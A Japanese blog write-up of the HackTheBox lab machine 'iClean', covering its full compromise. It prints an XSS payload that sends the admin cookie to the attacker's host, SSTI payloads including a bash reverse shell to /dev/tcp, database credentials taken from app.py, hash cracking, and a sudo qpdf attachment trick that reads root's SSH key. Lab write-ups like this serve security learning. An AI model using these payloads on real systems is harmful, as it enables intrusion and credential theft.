今回はHackTheBoxのMediumマシン「iClean」のWriteUpです。
名前からはどのようなマシンかわかりませんね。楽しみです。
グラフはいつものMediumという感じですね。
攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
iClean
列挙
それでは攻略を開始しましょう。
まずはnmap
でポートスキャンを行います。
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ sudo nmap -Pn -sSV -v --min-rate 1000 10.10.11.12
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
22番と80番がオープンしています。
80番に対してブラウザからアクセスしてみましょう。
ハウスクリーニングのサイト?が表示されました。
画面右上には「Login」と書かれたリンクがあるので、押下してみます。
ログイン画面が表示されました。
簡単なSQLインジェクションを試しましたが、特に発火しません。
他に情報がないかサイトを探索していると、気になるボタンを発見しました。
「Get a quote」と書かかれていることから見積もりを取得できそうです。試しに押下してみます。
オプションの選択とメールアドレスを入力できる画面が表示されました。
適当にオプションを選択 + メールアドレスを入力し、「Submit」を押下します。
リクエストが送信されました。画面には「見積もりは管理チームが確認します」と書かれています。メールアドレスやオプションを管理チームが確認してくれるのでしょう。
XSS
ログイン画面 + 管理チームが確認するというメッセージが表示されるということは、XSSによって管理者のクッキーを取得し、なりすましが行えるかもしれません。
まずペイロードを用意します。今回使用したペイロードは以下です。
<img src=x onerror=this.src='http://10.10.14.11/?'+document.cookie;>
いつものやつですね。Kali側で起動したサーバにクッキーを送信させる必要があるので、WEBサーバを起動させておきましょう。
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
これで準備完了です。
見積もりを取得するリクエストにはservice
とemail
というパラメータがあるので、どちらの値も上記のペイロードに変更しリクエストを送信しましょう。送信後、しばらくすると...
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.12 - - [03/Sep/2024 16:18:12] "GET /?session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Ztamkg.AvZEbNMvrxhW6KjMzxi7DQzxvs0 HTTP/1.1" 200 -
クッキーが送信されてきました!
あとは送信されたクッキーを使用しログイン後のページにアクセスするだけです。パスが分からないので、ディレクトリ探索を行います。
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://capiclean.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
about [Status: 200, Size: 5267, Words: 1036, Lines: 130, Duration: 216ms]
dashboard [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 184ms]
login [Status: 200, Size: 2106, Words: 297, Lines: 88, Duration: 184ms]
logout [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 195ms]
quote [Status: 200, Size: 2237, Words: 98, Lines: 90, Duration: 211ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 198ms]
services [Status: 200, Size: 8592, Words: 2325, Lines: 193, Duration: 221ms]
team [Status: 200, Size: 8109, Words: 2068, Lines: 183, Duration: 184ms]
:: Progress: [4614/4614] :: Job [1/1] :: 203 req/sec :: Duration: [0:00:23] :: Errors: 0 ::
新たにdashboard
というディレクトリを発見しました。いかにもログイン後のパスのようなので、クッキーをセットした状態でアクセスしてみましょう。
管理者のダッシュボードが表示されました!クッキーは有効だったようです。
SSTI
では、侵入を目指してダッシュボード内を調査していきましょう。4つほどリンクが見えます。「Generate Invoice」を押下してみましょう。
名前の通り請求書を生成できる画面が表示されました。適当に値を入力し「Generate」を押下してみます。
請求書のIDが生成されました。
次に2つ目のリンク「Generate QR」を押下します。
請求書のIDを入力する欄が表示されました。先ほど生成した請求書のIDを入力し、「Generate」を押下してみましょう。
QRコードのリンクが出力されました。また、QRコードのリンクを入力する欄も表示されたので、たった今出力されたリンクを入力し「submit」を押下します。
請求書が表示され、下部にはQRコードが出力されました。
以上が請求書を作成しQRコードを出力するまでの一連の流れです。使用されているパラメータで脆弱性が発火しないか試していると、QRコードを出力する際に使用されているqr_link
で怪しい挙動を確認しました。
qr_link
に{{7*7}}
を入力したところ、画像のソースで49
と出力されています。これはSSTIが発火していることを表しているので、悪用することでシェルを取得できそうです。
コマンドが実行できることを確認するために、以下のペイロードを投げます。
{{+request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()+}}
id
コマンドの実行を指示しています。qr_link
に指定して、リクエストを送信しましょう。
コマンドの実行結果が出力されました。
www-data としてのシェル
正常に実行できることがわかったので、シェルを取得しましょう。
まずは待ち受けを開始します。
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ nc -lnvp 2121
listening on [any] 2121 ...
次にペイロードを用意します。今回は以下のペイロードでシェルを取得します。
{{+request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.11/2121+0>%261"')['read']()+}}
用意が出来たらqr_link
に指定し、リクエストを送信しましょう。
送信後、待ち受けを確認すると...
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.12] 41440
bash: cannot set terminal process group (1210): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
www-data
シェルを取得できました!
水平権限昇格
現在のシェル(www-data
)ではユーザフラグが読めないので、ここから他のユーザへの移動を狙っていきます。www-data
から他のユーザへの移動でよくあるパスとしてはWEBの設定ファイルから認証情報を取得できることが多いです。今回も設定ファイルを見てみると...
www-data@iclean:/opt/app$ cat app.py
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
...
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
...
app.py
にDBの認証情報が保存されていました。
認証情報を使用して、DBにアクセスできるか試してみましょう。
www-data@iclean:/opt/app$ mysql -u iclean -p
mysql -u iclean -p
Enter password: pxCsmnGLckUb
mysql>
認証に成功し、DBへアクセスできました!
Hash Crack
それでは、DBを列挙していきましょう。app.py
の情報からデータベース名はcapiclean
であることが分かっているので、use
で指定します。
mysql> use capiclean
次にテーブルを列挙します。
mysql> show tables;
show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests |
| services |
| users |
+---------------------+
3 rows in set (0.00 sec)
3つのテーブルが出力されました。
一番怪しいのはusers
ですね。内容を見てみましょう。
mysql> select * from users;
select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password | role_id |
+----+----------+------------------------------------------------------------------+----------------------------------+
| 1 | admin | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)
admin
とconsuela
というユーザのハッシュ化されたパスワードを確認できました!
home
ディレクトリを見ると、consuela
というユーザが存在するため、解読のターゲットとなるのはconsuela
のハッシュだと予想が付きます。
www-data@iclean:/home$ ls -l
total 4
drwxr-x--- 4 consuela consuela 4096 Mar 2 2024 consuela
では、解読を行いましょう!と行きたいところですが、解読するためにハッシュタイプを確認しておきます。
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ hashcat --identify hash.txt
The following 8 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
1400 | SHA2-256 | Raw Hash
17400 | SHA3-256 | Raw Hash
11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash
6900 | GOST R 34.11-94 | Raw Hash
17800 | Keccak-256 | Raw Hash
1470 | sha256(utf16le($pass)) | Raw Hash
20800 | sha256(md5($pass)) | Raw Hash salted and/or iterated
21400 | sha256(sha256_bin($pass)) | Raw Hash salted and/or iterated
SHA-256が使用されていそうです。
タイプには「1400」を指定し、hashcat
を実行しましょう。
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
ハッシュが解読できました!
consuela としてのシェル
consuela
のパスワードがわかったので、SSHログインが可能かどうか試してみましょう。
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ ssh consuela@10.10.11.12
consuela@10.10.11.12s password:
consuela@iclean:~$ whoami
consuela
ログインに成功しました!水平権限昇格成功です!
consuela@iclean:~$ ls -l
total 4
-rw-r----- 1 root consuela 33 Sep 3 06:02 user.txt
ユーザフラグも確認することが出来ました。
垂直権限昇格
いよいよここからroot
ユーザになるため、権限昇格を目指していきましょう。
まずは、sudo -l
を実行しておきます。
consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
qpdf
というコマンドをルート権限で実行できるようです。
どのようなコマンドなのか調べてみると、以下のリンクを発見しました。
サイトによるとqpdf
とは、PDF間でオブジェクトやコンテンツの変換、ファイルの分割、結合が行えるツールのようです。
サイトの「Running qpdf」では、qpdf
の基本的な実行方法が書かれており、以下のようになっております。
Usage: qpdf [infile] [options] [outfile]
基本的な実行方法では、入力ファイル(infile
)を指定するようになっていますが、--empty
を指定して空のPDFファイルを入力として実行することもできるようです。
とりあえず実行してみましょう。
consuela@iclean:~$ qpdf --empty test
consuela@iclean:~$ ls -l
total 8
-rw-rw-r-- 1 consuela consuela 315 Sep 3 09:31 test
test
というファイルが作成されました。
内容を確認してみると...
空のPDFファイルで実行しているので、当然何も表示されませんでした。
Misconfigurations(sudo)
qpdf
を使用した権限昇格について色々と確認しましたが、特に脆弱性は見つかりませんでした。しかし、何もないのにsudo
を使用可能にしているとは考えにくいので、再度使用方法を確認していると気になるページを発見しました。
qpdf
では、--add-attachment
というオプションを使用することで、PDFに指定したファイルを添付することが出来るようです。もしもPDF以外のファイルも指定できるのであれば、root
ユーザのSSH秘密鍵を添付することが出来るかもしれません。試してみましょう。
consuela@iclean:~$ sudo qpdf --empty root_id_rsa --add-attachment /root/.ssh/id_rsa --
実行できたら、PDFファイルを見てみましょう。
こちらも同様に空のPDFから実行しているので、何も含まれていませんが、Attachments
を確認すると、id_rsa
が存在していることが分かります。id_rsa
の内容を見てみると...
SSH秘密鍵が出力されました!
root としてのシェル
それでは、取得したSSH秘密鍵を使用して権限昇格を行いましょう。
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ ssh -i id_rsa root@10.10.11.12
root@iclean:~# whoami
root
権限昇格成功です!
root@iclean:~# ls -l
total 8
-rw-r----- 1 root root 33 Sep 3 06:02 root.txt
drwxr-xr-x 2 root root 4096 Mar 7 12:13 scripts
ルートフラグも取得し、無事完全攻略達成です~!
攻略を終えて
今回のマシンは攻略していて、とても楽しいマシンでした。難易度自体もいい感じにMediumっぽく割とサクッと攻略できました。
初動はXSSの脆弱性を悪用し、管理者のハッシュを取得することでしたね。今まではHackTheBoxではXSSを悪用することはあまりなかったのですが、最近は増えてきている気がします。権限昇格はqpdfの本来の機能を悪用し、ファイルを読むというパスでした。今回のように知らない機能によって権限昇格につながることもあるので、注意が必要ですね。
今後もHackTheBoxのWriteUpを公開していくので見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました!